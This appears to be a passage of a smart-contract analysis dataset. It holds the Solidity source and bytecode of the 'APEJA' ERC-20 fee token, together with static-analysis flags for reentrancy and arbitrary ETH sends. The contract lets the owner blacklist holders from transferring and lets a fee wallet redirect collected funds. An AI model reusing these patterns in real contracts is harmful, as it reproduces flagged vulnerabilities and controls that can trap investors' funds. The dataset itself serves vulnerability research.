65b6000602082840312156116c957600080fd5b8151610a99816114a6565b6000602082840312156116e657600080fd5b81518015158114610a9957600080fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600182016117345761173461170c565b5060010190565b60008060006060848603121561175057600080fd5b8351925060208401519150604084015190509250925092565b6000821982111561177c5761177c61170c565b500190565b6000828210156117935761179361170c565b500390565b6000826117b557634e487b7160e01b600052601260045260246000fd5b500490565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561180a5784516001600160a01b0316835293830193918301916001016117e5565b50506001600160a01b03969096166060850152505050608001529392505050565b60008160001904831182151516156118455761184561170c565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122079cd91f729a8bea50f6c1359b73befff14b02e02fe7079fcc4dbbbd38790e16064736f6c634300080d0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
6,898
0x4315ef67bf6c0cb55e5c0256ced115b09f6f6826
/** *Submitted for verification at Etherscan.io on 2022-03-15 */ //SPDX-License-Identifier: UNLICENSED /* Telegram: https://t.me/apejaeth β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ€ β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ€ β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ€ β–ˆβ–ˆβ€ β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ€ β–ˆβ–ˆβ€β€β€β–ˆβ–ˆβ€β–ˆβ–ˆβ€β€β€β–ˆβ–ˆβ€β–ˆβ–ˆβ€β€β€β€β€β€ β–ˆβ–ˆβ€β–ˆβ–ˆβ€β€β€β–ˆβ–ˆβ€ β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ€β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ€β€β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ€ β–ˆβ–ˆβ€β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ€ β–ˆβ–ˆβ€β€β€β–ˆβ–ˆβ€β–ˆβ–ˆβ€β€β€β€β€ β–ˆβ–ˆβ€β€β€β€ β–ˆβ–ˆ β–ˆβ–ˆβ€β–ˆβ–ˆβ€β€β€β–ˆβ–ˆβ€ β–ˆβ–ˆβ€ β–ˆβ–ˆβ€β–ˆβ–ˆβ€ β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ€β€β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ€β€β–ˆβ–ˆβ€ β–ˆβ–ˆβ€                                    Telegram: https://t.me/apejaeth */ pragma solidity ^0.8.10; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract APEJA is Context, IERC20, Ownable { mapping (address => uint) private _owned; mapping (address => mapping (address => uint)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isBot; uint private constant _totalSupply = 1e12 * 10**9; string public constant name = unicode"Apeja"; string public constant symbol = unicode"APEJA"; uint8 public constant decimals = 9; IUniswapV2Router02 private uniswapV2Router; address payable public _FeeCollectionADD; address public uniswapV2Pair; uint public _buyFee = 12; uint public _sellFee = 12; uint private _feeRate = 15; uint public _maxHeldTokens; uint public _launchedAt; bool private _tradingOpen; bool private _inSwap = false; bool public _useImpactFeeSetter = false; struct User { uint buy; bool exists; } event FeeMultiplierUpdated(uint _multiplier); event ImpactFeeSetterUpdated(bool _usefeesetter); event FeeRateUpdated(uint _rate); event FeesUpdated(uint _buy, uint _sell); event TaxAddUpdated(address _taxwallet); modifier lockTheSwap { _inSwap = true; _; _inSwap = false; } constructor (address payable TaxAdd) { _FeeCollectionADD = TaxAdd; _owned[address(this)] = _totalSupply; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[TaxAdd] = true; emit Transfer(address(0), address(this), _totalSupply); } function balanceOf(address account) public view override returns (uint) { return _owned[account]; } function transfer(address recipient, uint amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function totalSupply() public pure override returns (uint) { return _totalSupply; } function allowance(address owner, address spender) public view override returns (uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public override returns (bool) { _transfer(sender, recipient, amount); uint allowedAmount = _allowances[sender][_msgSender()] - amount; _approve(sender, _msgSender(), allowedAmount); return true; } function _approve(address owner, address spender, uint amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint amount) private { require(!_isBot[from]); require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); bool isBuy = false; if(from != owner() && to != owner()) { if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) { require(_tradingOpen, "Trading not yet enabled."); if((_launchedAt + (4 minutes)) > block.timestamp) { require((amount + balanceOf(address(to))) <= _maxHeldTokens); } isBuy = true; } if(!_inSwap && _tradingOpen && from != uniswapV2Pair) { uint contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance > 0) { if(_useImpactFeeSetter) { if(contractTokenBalance > (balanceOf(uniswapV2Pair) * _feeRate) / 100) { contractTokenBalance = (balanceOf(uniswapV2Pair) * _feeRate) / 100; } } uint burnAmount = contractTokenBalance/4; contractTokenBalance -= burnAmount; burnToken(burnAmount); swapTokensForEth(contractTokenBalance); } uint contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } isBuy = false; } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee,isBuy); } function swapTokensForEth(uint tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint amount) private { _FeeCollectionADD.transfer(amount); } function burnToken(uint burnAmount) private lockTheSwap{ if(burnAmount > 0){ _transfer(address(this), address(0xdead),burnAmount); } } function _tokenTransfer(address sender, address recipient, uint amount, bool takefee, bool buy) private { (uint fee) = _getFee(takefee, buy); _transferStandard(sender, recipient, amount, fee); } function _getFee(bool takefee, bool buy) private view returns (uint) { uint fee = 0; if(takefee) { if(buy) { fee = _buyFee; } else { fee = _sellFee; } } return fee; } function _transferStandard(address sender, address recipient, uint amount, uint fee) private { (uint transferAmount, uint team) = _getValues(amount, fee); _owned[sender] = _owned[sender] - amount; _owned[recipient] = _owned[recipient] + transferAmount; _takeTeam(team); emit Transfer(sender, recipient, transferAmount); } function _getValues(uint amount, uint teamFee) private pure returns (uint, uint) { uint team = (amount * teamFee) / 100; uint transferAmount = amount - team; return (transferAmount, team); } function _takeTeam(uint team) private { _owned[address(this)] = _owned[address(this)] + team; } receive() external payable {} function StartContract() external onlyOwner() { require(!_tradingOpen, "Trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); } function StartTrade() external onlyOwner() { require(!_tradingOpen, "Trading is already open"); _approve(address(this), address(uniswapV2Router), _totalSupply); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); _tradingOpen = true; _launchedAt = block.timestamp; _maxHeldTokens = 20000000000 * 10**9; } function manualswap() external { uint contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { uint contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setFeeRate(uint rate) external onlyOwner() { require(_msgSender() == _FeeCollectionADD); require(rate > 0); _feeRate = rate; emit FeeRateUpdated(_feeRate); } function setFees(uint buy, uint sell) external onlyOwner() { require(buy < _buyFee && sell < _sellFee); _buyFee = buy; _sellFee = sell; emit FeesUpdated(_buyFee, _sellFee); } function toggleImpactFee(bool onoff) external onlyOwner() { _useImpactFeeSetter = onoff; emit ImpactFeeSetterUpdated(_useImpactFeeSetter); } function updateTaxAdd(address newAddress) external { require(_msgSender() == _FeeCollectionADD); _FeeCollectionADD = payable(newAddress); emit TaxAddUpdated(_FeeCollectionADD); } function thisBalance() public view returns (uint) { return balanceOf(address(this)); } function amountInPool() public view returns (uint) { return balanceOf(uniswapV2Pair); } function setBots(address[] memory bots_) external onlyOwner() { for (uint i = 0; i < bots_.length; i++) { if (bots_[i] != uniswapV2Pair && bots_[i] != address(uniswapV2Router)) { _isBot[bots_[i]] = true; } } } function delBots(address[] memory bots_) external { require(_msgSender() == _FeeCollectionADD); for (uint i = 0; i < bots_.length; i++) { _isBot[bots_[i]] = false; } } function isBot(address ad) public view returns (bool) { return _isBot[ad]; } }
0x6080604052600436106101dc5760003560e01c80636fc3eaec11610102578063b2289c6211610095578063db92dbb611610064578063db92dbb61461056f578063dcb0e0ad14610584578063dd62ed3e146105a4578063f7c58b8e146105ea57600080fd5b8063b2289c6214610505578063b2c5fa5f14610525578063b515566a1461053a578063c3c8cd801461055a57600080fd5b80638da5cb5b116100d15780638da5cb5b1461047657806394b8d8f21461049457806395d89b41146104b4578063a9059cbb146104e557600080fd5b80636fc3eaec1461040c57806370a0823114610421578063715018a61461044157806373f54a111461045657600080fd5b8063313ce5671161017a57806340b9a54b1161014957806340b9a54b1461038857806345596e2e1461039e57806349bd5a5e146103be578063590f897e146103f657600080fd5b8063313ce567146102f257806331c2d8471461031957806332d873d8146103395780633bbac5791461034f57600080fd5b806318160ddd116101b657806318160ddd146102815780631940d020146102a757806323b872dd146102bd57806327f3a72a146102dd57600080fd5b806306fdde03146101e8578063095ea7b31461022f5780630b78f9c01461025f57600080fd5b366101e357005b600080fd5b3480156101f457600080fd5b50610219604051806040016040528060058152602001644170656a6160d81b81525081565b6040516102269190611756565b60405180910390f35b34801561023b57600080fd5b5061024f61024a3660046117d0565b6105ff565b6040519015158152602001610226565b34801561026b57600080fd5b5061027f61027a3660046117fc565b610615565b005b34801561028d57600080fd5b50683635c9adc5dea000005b604051908152602001610226565b3480156102b357600080fd5b50610299600c5481565b3480156102c957600080fd5b5061024f6102d836600461181e565b6106aa565b3480156102e957600080fd5b506102996106fe565b3480156102fe57600080fd5b50610307600981565b60405160ff9091168152602001610226565b34801561032557600080fd5b5061027f610334366004611875565b61070e565b34801561034557600080fd5b50610299600d5481565b34801561035b57600080fd5b5061024f61036a36600461193a565b6001600160a01b031660009081526005602052604090205460ff1690565b34801561039457600080fd5b5061029960095481565b3480156103aa57600080fd5b5061027f6103b9366004611957565b61079a565b3480156103ca57600080fd5b506008546103de906001600160a01b031681565b6040516001600160a01b039091168152602001610226565b34801561040257600080fd5b50610299600a5481565b34801561041857600080fd5b5061027f61082d565b34801561042d57600080fd5b5061029961043c36600461193a565b61083a565b34801561044d57600080fd5b5061027f610855565b34801561046257600080fd5b5061027f61047136600461193a565b6108c9565b34801561048257600080fd5b506000546001600160a01b03166103de565b3480156104a057600080fd5b50600e5461024f9062010000900460ff1681565b3480156104c057600080fd5b50610219604051806040016040528060058152602001644150454a4160d81b81525081565b3480156104f157600080fd5b5061024f6105003660046117d0565b610937565b34801561051157600080fd5b506007546103de906001600160a01b031681565b34801561053157600080fd5b5061027f610944565b34801561054657600080fd5b5061027f610555366004611875565b610b38565b34801561056657600080fd5b5061027f610c51565b34801561057b57600080fd5b50610299610c67565b34801561059057600080fd5b5061027f61059f36600461197e565b610c7f565b3480156105b057600080fd5b506102996105bf36600461199b565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b3480156105f657600080fd5b5061027f610cfc565b600061060c338484610f01565b50600192915050565b6000546001600160a01b031633146106485760405162461bcd60e51b815260040161063f906119d4565b60405180910390fd5b6009548210801561065a5750600a5481105b61066357600080fd5b6009829055600a81905560408051838152602081018390527f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a1910160405180910390a15050565b60006106b7848484611025565b6001600160a01b03841660009081526003602090815260408083203384529091528120546106e6908490611a1f565b90506106f3853383610f01565b506001949350505050565b60006107093061083a565b905090565b6007546001600160a01b0316336001600160a01b03161461072e57600080fd5b60005b81518110156107965760006005600084848151811061075257610752611a36565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061078e81611a4c565b915050610731565b5050565b6000546001600160a01b031633146107c45760405162461bcd60e51b815260040161063f906119d4565b6007546001600160a01b0316336001600160a01b0316146107e457600080fd5b600081116107f157600080fd5b600b8190556040518181527f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8906020015b60405180910390a150565b47610837816113f3565b50565b6001600160a01b031660009081526002602052604090205490565b6000546001600160a01b0316331461087f5760405162461bcd60e51b815260040161063f906119d4565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6007546001600160a01b0316336001600160a01b0316146108e957600080fd5b600780546001600160a01b0319166001600160a01b0383169081179091556040519081527f5a9bcd8aea0cbf27de081c73815e420f65287b49bcf7a17ff691c61a2dd2d2d690602001610822565b600061060c338484611025565b6000546001600160a01b0316331461096e5760405162461bcd60e51b815260040161063f906119d4565b600e5460ff16156109bb5760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b604482015260640161063f565b6006546109dc9030906001600160a01b0316683635c9adc5dea00000610f01565b6006546001600160a01b031663f305d71947306109f88161083a565b600080610a0d6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610a75573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a9a9190611a67565b505060085460065460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610af3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b179190611a95565b50600e805460ff1916600117905542600d556801158e460913d00000600c55565b6000546001600160a01b03163314610b625760405162461bcd60e51b815260040161063f906119d4565b60005b81518110156107965760085482516001600160a01b0390911690839083908110610b9157610b91611a36565b60200260200101516001600160a01b031614158015610be2575060065482516001600160a01b0390911690839083908110610bce57610bce611a36565b60200260200101516001600160a01b031614155b15610c3f57600160056000848481518110610bff57610bff611a36565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b80610c4981611a4c565b915050610b65565b6000610c5c3061083a565b90506108378161142d565b600854600090610709906001600160a01b031661083a565b6000546001600160a01b03163314610ca95760405162461bcd60e51b815260040161063f906119d4565b600e805462ff00001916620100008315158102919091179182905560405160ff9190920416151581527ff65c78d1059dbb9ec90732848bcfebbec05ac40af847d3c19adcad63379d3aeb90602001610822565b6000546001600160a01b03163314610d265760405162461bcd60e51b815260040161063f906119d4565b600e5460ff1615610d735760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b604482015260640161063f565b600680546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a01559160048083019260209291908290030181865afa158015610dd8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dfc9190611ab2565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e49573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e6d9190611ab2565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610eba573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ede9190611ab2565b600880546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b038316610f635760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161063f565b6001600160a01b038216610fc45760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161063f565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831660009081526005602052604090205460ff161561104b57600080fd5b6001600160a01b0383166110af5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161063f565b6001600160a01b0382166111115760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161063f565b600081116111735760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161063f565b600080546001600160a01b038581169116148015906111a057506000546001600160a01b03848116911614155b15611394576008546001600160a01b0385811691161480156111d057506006546001600160a01b03848116911614155b80156111f557506001600160a01b03831660009081526004602052604090205460ff16155b1561128757600e5460ff1661124c5760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642e0000000000000000604482015260640161063f565b42600d5460f061125c9190611acf565b111561128357600c5461126e8461083a565b6112789084611acf565b111561128357600080fd5b5060015b600e54610100900460ff161580156112a15750600e5460ff165b80156112bb57506008546001600160a01b03858116911614155b156113945760006112cb3061083a565b9050801561137d57600e5462010000900460ff161561134e57600b5460085460649190611300906001600160a01b031661083a565b61130a9190611ae7565b6113149190611b06565b81111561134e57600b5460085460649190611337906001600160a01b031661083a565b6113419190611ae7565b61134b9190611b06565b90505b600061135b600483611b06565b90506113678183611a1f565b9150611372816115a1565b61137b8261142d565b505b47801561138d5761138d476113f3565b6000925050505b6001600160a01b03841660009081526004602052604090205460019060ff16806113d657506001600160a01b03841660009081526004602052604090205460ff165b156113df575060005b6113ec85858584866115d1565b5050505050565b6007546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610796573d6000803e3d6000fd5b600e805461ff001916610100179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061147157611471611a36565b6001600160a01b03928316602091820292909201810191909152600654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156114ca573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114ee9190611ab2565b8160018151811061150157611501611a36565b6001600160a01b0392831660209182029290920101526006546115279130911684610f01565b60065460405163791ac94760e01b81526001600160a01b039091169063791ac94790611560908590600090869030904290600401611b28565b600060405180830381600087803b15801561157a57600080fd5b505af115801561158e573d6000803e3d6000fd5b5050600e805461ff001916905550505050565b600e805461ff00191661010017905580156115c3576115c33061dead83611025565b50600e805461ff0019169055565b60006115dd83836115f3565b90506115eb86868684611617565b505050505050565b600080831561161057821561160b5750600954611610565b50600a545b9392505050565b60008061162484846116f4565b6001600160a01b038816600090815260026020526040902054919350915061164d908590611a1f565b6001600160a01b03808816600090815260026020526040808220939093559087168152205461167d908390611acf565b6001600160a01b03861660009081526002602052604090205561169f81611728565b846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516116e491815260200190565b60405180910390a3505050505050565b6000808060646117048587611ae7565b61170e9190611b06565b9050600061171c8287611a1f565b96919550909350505050565b30600090815260026020526040902054611743908290611acf565b3060009081526002602052604090205550565b600060208083528351808285015260005b8181101561178357858101830151858201604001528201611767565b81811115611795576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461083757600080fd5b80356117cb816117ab565b919050565b600080604083850312156117e357600080fd5b82356117ee816117ab565b946020939093013593505050565b6000806040838503121561180f57600080fd5b50508035926020909101359150565b60008060006060848603121561183357600080fd5b833561183e816117ab565b9250602084013561184e816117ab565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561188857600080fd5b823567ffffffffffffffff808211156118a057600080fd5b818501915085601f8301126118b457600080fd5b8135818111156118c6576118c661185f565b8060051b604051601f19603f830116810181811085821117156118eb576118eb61185f565b60405291825284820192508381018501918883111561190957600080fd5b938501935b8285101561192e5761191f856117c0565b8452938501939285019261190e565b98975050505050505050565b60006020828403121561194c57600080fd5b8135611610816117ab565b60006020828403121561196957600080fd5b5035919050565b801515811461083757600080fd5b60006020828403121561199057600080fd5b813561161081611970565b600080604083850312156119ae57600080fd5b82356119b9816117ab565b915060208301356119c9816117ab565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b600082821015611a3157611a31611a09565b500390565b634e487b7160e01b600052603260045260246000fd5b6000600019821415611a6057611a60611a09565b5060010190565b600080600060608486031215611a7c57600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611aa757600080fd5b815161161081611970565b600060208284031215611ac457600080fd5b8151611610816117ab565b60008219821115611ae257611ae2611a09565b500190565b6000816000190483118215151615611b0157611b01611a09565b500290565b600082611b2357634e487b7160e01b600052601260045260246000fd5b500490565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611b785784516001600160a01b031683529383019391830191600101611b53565b50506001600160a01b0396909616606085015250505060800152939250505056fea2646970667358221220d3741feca64c1e1f0a33e60522452fd7e859420e9c2a66cfa894cd6c7c33bece64736f6c634300080c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
6,899